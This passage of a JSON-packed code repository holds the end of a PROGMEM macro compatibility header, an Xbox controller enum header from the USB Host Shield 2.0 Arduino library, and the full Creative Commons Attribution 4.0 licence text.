__VA_ARGS__)\n#endif\n\n#ifndef pgm_read_byte\n#define pgm_read_byte(addr) (*(const unsigned char *)(addr))\n#endif\n#ifndef pgm_read_word\n#define pgm_read_word(addr) (*(const unsigned short *)(addr))\n#endif\n#ifndef pgm_read_dword\n#define pgm_read_dword(addr) (*(const unsigned long *)(addr))\n#endif\n#ifndef pgm_read_float\n#define pgm_read_float(addr) (*(const float *)(addr))\n#endif\n\n#ifndef pgm_read_byte_near\n#define pgm_read_byte_near(addr) pgm_read_byte(addr)\n#endif\n#ifndef pgm_read_word_near\n#define pgm_read_word_near(addr) pgm_read_word(addr)\n#endif\n#ifndef pgm_read_dword_near\n#define pgm_read_dword_near(addr) pgm_read_dword(addr)\n#endif\n#ifndef pgm_read_float_near\n#define pgm_read_float_near(addr) pgm_read_float(addr)\n#endif\n#ifndef pgm_read_byte_far\n#define pgm_read_byte_far(addr) pgm_read_byte(addr)\n#endif\n#ifndef pgm_read_word_far\n#define pgm_read_word_far(addr) pgm_read_word(addr)\n#endif\n#ifndef pgm_read_dword_far\n#define pgm_read_dword_far(addr) pgm_read_dword(addr)\n#endif\n#ifndef pgm_read_float_far\n#define pgm_read_float_far(addr) pgm_read_float(addr)\n#endif\n\n#ifndef pgm_read_pointer\n#define pgm_read_pointer\n#endif\n#endif\n"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/xboxEnums.h",
    "content": "/* Copyright (C) 2012 Kristian Lauszus, TKJ Electronics. All rights reserved.\n\n This software may be distributed and modified under the terms of the GNU\n General Public License version 2 (GPL2) as published by the Free Software\n Foundation and appearing in the file GPL2.TXT included in the packaging of\n this file. Please note that GPL2 Section 2[b] requires that all works based\n on this software must also be made publicly available under the terms of\n the GPL2 (\"Copyleft\").\n\n Contact information\n -------------------\n\n Kristian Lauszus, TKJ Electronics\n Web      :  http://www.tkjelectronics.com\n e-mail   :  kristianl@tkjelectronics.com\n */\n\n#ifndef _xboxenums_h\n#define _xboxenums_h\n\n#include \"controllerEnums.h\"\n\n/** Enum used to set special LED modes supported by the Xbox controller. */\nenum LEDModeEnum {\n        ROTATING = 0x0A,\n        FASTBLINK = 0x0B,\n        SLOWBLINK = 0x0C,\n        ALTERNATING = 0x0D,\n};\n\n/** Used to set the LEDs on the controllers */\nconst uint8_t XBOX_LEDS[] PROGMEM = {\n        0x00, // OFF\n        0x02, // LED1\n        0x03, // LED2\n        0x04, // LED3\n        0x05, // LED4\n        0x01, // ALL - Used to blink all LEDs\n};\n/** Buttons on the controllers */\nconst uint16_t XBOX_BUTTONS[] PROGMEM = {\n        0x0100, // UP\n        0x0800, // RIGHT\n        0x0200, // DOWN\n        0x0400, // LEFT\n\n        0x2000, // BACK\n        0x1000, // START\n        0x4000, // L3\n        0x8000, // R3\n\n        0, 0, // Skip L2 and R2 as these are analog buttons\n        0x0001, // L1\n        0x0002, // R1\n\n        0x0020, // B\n        0x0010, // A\n        0x0040, // X\n        0x0080, // Y\n\n        0x0004, // XBOX\n        0x0008, // SYNC\n};\n\n#endif\n"
  },
  {
    "path": "license.txt",
    "content": "Attribution 4.0 International\n\n=======================================================================\n\nCreative Commons Corporation (\"Creative Commons\") is not a law firm and\ndoes not provide legal services or legal advice. Distribution of\nCreative Commons public licenses does not create a lawyer-client or\nother relationship. Creative Commons makes its licenses and related\ninformation available on an \"as-is\" basis. Creative Commons gives no\nwarranties regarding its licenses, any material licensed under their\nterms and conditions, or any related information. Creative Commons\ndisclaims all liability for damages resulting from their use to the\nfullest extent possible.\n\nUsing Creative Commons Public Licenses\n\nCreative Commons public licenses provide a standard set of terms and\nconditions that creators and other rights holders may use to share\noriginal works of authorship and other material subject to copyright\nand certain other rights specified in the public license below. The\nfollowing considerations are for informational purposes only, are not\nexhaustive, and do not form part of our licenses.\n\n     Considerations for licensors: Our public licenses are\n     intended for use by those authorized to give the public\n     permission to use material in ways otherwise restricted by\n     copyright and certain other rights. Our licenses are\n     irrevocable. Licensors should read and understand the terms\n     and conditions of the license they choose before applying it.\n     Licensors should also secure all rights necessary before\n     applying our licenses so that the public can reuse the\n     material as expected. Licensors should clearly mark any\n     material not subject to the license. This includes other CC-\n     licensed material, or material used under an exception or\n     limitation to copyright. More considerations for licensors:\n    wiki.creativecommons.org/Considerations_for_licensors\n\n     Considerations for the public: By using one of our public\n     licenses, a licensor grants the public permission to use the\n     licensed material under specified terms and conditions. If\n     the licensor's permission is not necessary for any reason--for\n     example, because of any applicable exception or limitation to\n     copyright--then that use is not regulated by the license. Our\n     licenses grant only permissions under copyright and certain\n     other rights that a licensor has authority to grant. Use of\n     the licensed material may still be restricted for other\n     reasons, including because others have copyright or other\n     rights in the material. A licensor may make special requests,\n     such as asking that all changes be marked or described.\n     Although not required by our licenses, you are encouraged to\n     respect those requests where reasonable. More considerations\n     for the public:\n    wiki.creativecommons.org/Considerations_for_licensees\n\n=======================================================================\n\nCreative Commons Attribution 4.0 International Public License\n\nBy exercising the Licensed Rights (defined below), You accept and agree\nto be bound by the terms and conditions of this Creative Commons\nAttribution 4.0 International Public License (\"Public License\"). To the\nextent this Public License may be interpreted as a contract, You are\ngranted the Licensed Rights in consideration of Your acceptance of\nthese terms and conditions, and the Licensor grants You such rights in\nconsideration of benefits the Licensor receives from making the\nLicensed Material available under these terms and conditions.\n\n\nSection 1 -- Definitions.\n\n  a. Adapted Material means material subject to Copyright and Similar\n     Rights that is derived from or based upon the Licensed Material\n     and in which the Licensed Material is translated, altered,\n     arranged, transformed, or otherwise modified in a manner requiring\n     permission under the Copyright and Similar Rights held by the\n     Licensor. For purposes of this Public License, where the Licensed\n     Material is a musical work, performance, or sound recording,\n     Adapted Material is always produced where the Licensed Material is\n     synched in timed relation with a moving image.\n\n  b. Adapter's License means the license You apply to Your Copyright\n     and Similar Rights in Your contributions to Adapted Material in\n     accordance with the terms and conditions of this Public License.\n\n  c. Copyright and Similar Rights means copyright and/or similar rights\n     closely related to copyright including, without limitation,\n     performance, broadcast, sound recording, and Sui Generis Database\n     Rights, without regard to how the rights are labeled or\n     categorized. For purposes of this Public License, the rights\n     specified in Section 2(b)(1)-(2) are not Copyright and Similar\n     Rights.\n\n  d. Effective Technological Measures means those measures that, in the\n     absence of proper authority, may not be circumvented under laws\n     fulfilling obligations under Article 11 of the WIPO Copyright\n     Treaty adopted on December 20, 1996, and/or similar international\n     agreements.\n\n  e. Exceptions and Limitations means fair use, fair dealing, and/or\n     any other exception or limitation to Copyright and Similar Rights\n     that applies to Your use of the Licensed Material.\n\n  f. Licensed Material means the artistic or literary work, database,\n     or other material to which the Licensor applied this Public\n     License.\n\n  g. Licensed Rights means the rights granted to You subject to the\n     terms and conditions of this Public License, which are limited to\n     all Copyright and Similar Rights that apply to Your use of the\n     Licensed Material and that the Licensor has authority to license.\n\n  h. Licensor means the individual(s) or entity(ies) granting rights\n     under this Public License.\n\n  i. Share means to provide material to the public by any means or\n     process that requires permission under the Licensed Rights, such\n     as reproduction, public display, public performance, distribution,\n     dissemination, communication, or importation, and to make material\n     available to the public including in ways that members of the\n     public may access the material from a place and at a time\n     individually chosen by them.\n\n  j. Sui Generis Database Rights means rights other than copyright\n     resulting from Directive 96/9/EC of the European Parliament and of\n     the Council of 11 March 1996 on the legal protection of databases,\n     as amended and/or succeeded, as well as other essentially\n     equivalent rights anywhere in the world.\n\n  k. You means the individual or entity exercising the Licensed Rights\n     under this Public License. Your has a corresponding meaning.\n\n\nSection 2 -- Scope.\n\n  a. License grant.\n\n       1. Subject to the terms and conditions of this Public License,\n          the Licensor hereby grants You a worldwide, royalty-free,\n          non-sublicensable, non-exclusive, irrevocable license to\n          exercise the Licensed Rights in the Licensed Material to:\n\n            a. reproduce and Share the Licensed Material, in whole or\n               in part; and\n\n            b. produce, reproduce, and Share Adapted Material.\n\n       2. Exceptions and Limitations. For the avoidance of doubt, where\n          Exceptions and Limitations apply to Your use, this Public\n          License does not apply, and You do not need to comply with\n          its terms and conditions.\n\n       3. Term. The term of this Public License is specified in Section\n          6(a).\n\n       4. Media and formats; technical modifications allowed. The\n          Licensor authorizes You to exercise the Licensed Rights in\n          all media and formats whether now known or hereafter created,\n          and to make technical modifications necessary to do so. The\n          Licensor waives and/or agrees not to assert any right or\n          authority to forbid You from making technical modifications\n          necessary to exercise the Licensed Rights, including\n          technical modifications necessary to circumvent Effective\n          Technological Measures. For purposes of this Public License,\n          simply making modifications authorized by this Section 2(a)\n          (4) never produces Adapted Material.\n\n       5. Downstream recipients.\n\n            a. Offer from the Licensor -- Licensed Material. Every\n               recipient of the Licensed Material automatically\n               receives an offer from the Licensor to exercise the\n               Licensed Rights under the terms and conditions of this\n               Public License.\n\n            b. No downstream restrictions. You may not offer or impose\n               any additional or different terms or conditions on, or\n               apply any Effective Technological Measures to, the\n               Licensed Material if doing so restricts exercise of the\n               Licensed Rights by any recipient of the Licensed\n               Material.\n\n       6. No endorsement. Nothing in this Public License constitutes or\n          may be construed as permission to assert or imply that You\n          are, or that Your use of the Licensed Material is, connected\n          with, or sponsored, endorsed, or granted official status by,\n          the Licensor or others designated to receive attribution as\n          provided in Section 3(a)(1)(A)(i).\n\n  b. Other rights.\n\n       1. Moral rights, such as the right of integrity, are not\n          licensed under this Public License, nor are publicity,\n          privacy, and/or other similar personality rights; however, to\n          the extent possible, the Licensor waives and/or agrees not to\n          assert any such rights held by the Licensor to the limited\n          extent necessary to allow You to exercise the Licensed\n          Rights, but not otherwise.\n\n       2. Patent and trademark rights are not licensed under this\n          Public License.\n\n       3. To the extent possible, the Licensor waives any right to\n          collect royalties from You for the exercise of the Licensed\n          Rights, whether directly or through a collecting society\n          under any voluntary or waivable statutory or compulsory\n          licensing scheme. In all other cases the Licensor expressly\n          reserves any right to collect such royalties.\n\n\nSection 3 -- License Conditions.\n\nYour exercise of the Licensed Rights is expressly made subject to the\nfollowing conditions.\n\n  a. Attribution.\n\n       1. If You Share the Licensed Material (including in modified\n          form), You must:\n\n            a. retain the following if it is supplied by the Licensor\n               with the Licensed Material:\n\n                 i. identification of the creator(s) of the Licensed\n                    Material and any others designated to receive\n                    attribution, in any reasonable manner requested by\n                    the Licensor (including by pseudonym if\n                    designated);\n\n                ii. a copyright notice;\n\n               iii. a notice that refers to this Public License;\n\n                iv. a notice that refers to the disclaimer of\n                    warranties;\n\n                 v. a URI or hyperlink to the Licensed Material to the\n                    extent reasonably practicable;\n\n            b. indicate if You modified the Licensed Material and\n               retain an indication of any previous modifications; and\n\n            c. indicate the Licensed Material is licensed under this\n               Public License, and include the text of, or the URI or\n               hyperlink to, this Public License.\n\n       2. You may satisfy the conditions in Section 3(a)(1) in any\n          reasonable manner based on the medium, means, and context in\n          which You Share the Licensed Material. For example, it may be\n          reasonable to satisfy the conditions by providing a URI or\n          hyperlink to a resource that includes the required\n          information.\n\n       3. If requested by the Licensor, You must remove any of the\n          information required by Section 3(a)(1)(A) to the extent\n          reasonably practicable.\n\n       4. If You Share Adapted Material You produce, the Adapter's\n          License You apply must not prevent recipients of the Adapted\n          Material from complying with this Public License.\n\n\nSection 4 -- Sui Generis Database Rights.\n\nWhere the Licensed Rights include Sui Generis Database Rights that\napply to Your use of the Licensed Material:\n\n  a. for the avoidance of doubt, Section 2(a)(1) grants You the right\n     to extract, reuse, reproduce, and Share all or a substantial\n     portion of the contents of the database;\n\n  b. if You include all or a substantial portion of the database\n     contents in a database in which You have Sui Generis Database\n     Rights, then the database in which You have Sui Generis Database\n     Rights (but not its individual contents) is Adapted Material; and\n\n  c. You must comply with the conditions in Section 3(a) if You Share\n     all or a substantial portion of the contents of the database.\n\nFor the avoidance of doubt, this Section 4 supplements and does not\nreplace Your obligations under this Public License where the Licensed\nRights include other Copyright and Similar Rights.\n\n\nSection 5 -- Disclaimer of Warranties and Limitation of Liability.\n\n  a. UNLESS OTHERWISE SEPARATELY UNDERTAKEN BY THE LICENSOR, TO THE\n     EXTENT POSSIBLE, THE LICENSOR OFFERS THE LICENSED MATERIAL AS-IS\n     AND AS-AVAILABLE, AND MAKES NO REPRESENTATIONS OR WARRANTIES OF\n     ANY KIND CONCERNING THE LICENSED MATERIAL, WHETHER EXPRESS,\n     IMPLIED, STATUTORY, OR OTHER. THIS INCLUDES, WITHOUT LIMITATION,\n     WARRANTIES OF TITLE, MERCHANTABILITY, FITNESS FOR A PARTICULAR\n     PURPOSE, NON-INFRINGEMENT, ABSENCE OF LATENT OR OTHER DEFECTS,\n     ACCURACY, OR THE PRESENCE OR ABSENCE OF ERRORS, WHETHER OR NOT\n     KNOWN OR DISCOVERABLE. WHERE DISCLAIMERS OF WARRANTIES ARE NOT\n     ALLOWED IN FULL OR IN PART, THIS DISCLAIMER MAY NOT APPLY TO YOU.\n\n  b. TO THE EXTENT POSSIBLE, IN NO EVENT WILL THE LICENSOR BE LIABLE\n     TO YOU ON ANY LEGAL THEORY (INCLUDING, WITHOUT LIMITATION,\n     NEGLIGENCE) OR OTHERWISE FOR ANY DIRECT, SPECIAL, INDIRECT,\n     INCIDENTAL, CONSEQUENTIAL, PUNITIVE, EXEMPLARY, OR OTHER LOSSES,\n     COSTS, EXPENSES, OR DAMAGES ARISING OUT OF THIS PUBLIC LICENSE OR\n     USE OF THE LICENSED MATERIAL, EVEN IF THE LICENSOR HAS BEEN\n     ADVISED OF THE POSSIBILITY OF SUCH LOSSES, COSTS, EXPENSES, OR\n     DAMAGES. WHERE A LIMITATION OF LIABILITY IS NOT ALLOWED IN FULL OR\n     IN PART, THIS LIMITATION MAY NOT APPLY TO YOU.\n\n  c. The disclaimer of warranties and limitation of liability provided\n     above shall be interpreted in a manner that, to the extent\n     possible, most closely approximates an absolute disclaimer and\n     waiver of all liability.\n\n\nSection 6 -- Term and Termination.\n\n  a. This Public License applies for the term of the Copyright and\n     Similar Rights licensed here. However, if You fail to comply with\n     this Public License, then Your rights under this Public License\n     terminate automatically.\n\n  b. Where Your right to use the Licensed Material has terminated under\n     Section 6(a), it reinstates:\n\n       1. automatically as of the date the violation is cured, provided\n          it is cured within 30 days of Your discovery of the\n          violation; or\n\n       2. upon express reinstatement by the Licensor.\n\n     For the avoidance of doubt, this Section 6(b) does not affect any\n     right the Licensor may have to seek remedies for Your violations\n     of this Public License.\n\n  c. For the avoidance of doubt, the Licensor may also offer the\n     Licensed Material under separate terms or conditions or stop\n     distributing the Licensed Material at any time; however, doing so\n     will not terminate this Public License.\n\n  d. Sections 1, 5, 6, 7, and 8 survive termination of this Public\n     License.\n\n\nSection 7 -- Other Terms and Conditions.\n\n  a. The Licensor shall not be bound by any additional or different\n     terms or conditions communicated by You unless expressly agreed.\n\n  b. Any arrangements, understandings, or agreements regarding the\n     Licensed Material not stated herein are separate from and\n     independent of the terms and conditions of this Public License.\n\n\nSection 8 -- Interpretation.\n\n  a. For the avoidance of doubt, this Public License does not, and\n     shall not be interpreted to, reduce, limit, restrict, or impose\n     conditions on any use of the Licensed Material that could lawfully\n     be made without permission under this Public License.\n\n  b. To the extent possible, if any provision of this Public License is\n     deemed unenforceable, it shall be automatically reformed to the\n     minimum extent necessary to make it enforceable. If the provision\n     cannot be reformed, it shall be severed from this Public License\n     without affecting the enforceability of the remaining terms and\n     conditions.\n\n  c. No term or condition of this Public License will be waived and no\n     failure to comply consented to unless expressly agreed to by the\n     Licensor.\n\n  d. Nothing in this Public License constitutes or may be interpreted\n     as a limitation upon, or waiver of, any privileges and immunities\n     that apply to the Licensor or You, including from the legal\n     processes of any jurisdiction or authority.\n\n\n=======================================================================\n\nCreative Commons is not a party to its public\nlicenses. Notwithstanding, Creative Commons may elect to apply one of\nits public licenses to material it publishes and in those instances\nwill be considered the “Licensor.” The text of the Creative Commons\npublic licenses is dedicated to the public domain under the CC0 Public\nDomain Dedication. Except for the limited purpose of indicating that\nmaterial is shared under a Creative Commons public license or as\notherwise permitted by the Creative Commons policies published at\ncreativecommons.org/policies, Creative Commons does not authorize the\nuse of the trademark \"Creative Commons\" or any other trademark or logo\nof Creative Commons without its prior written consent including,\nwithout limitation, in connection with any unauthorized modifications\nto any of its public licenses or any other arrangements,\nunderstandings, or agreements concerning use of licensed material. For\nthe avoidance of doubt, this paragraph does not form part of the\npublic licenses.\n\nCreative Commons may be contacted at creativecommons.org.\n\n"
  }
]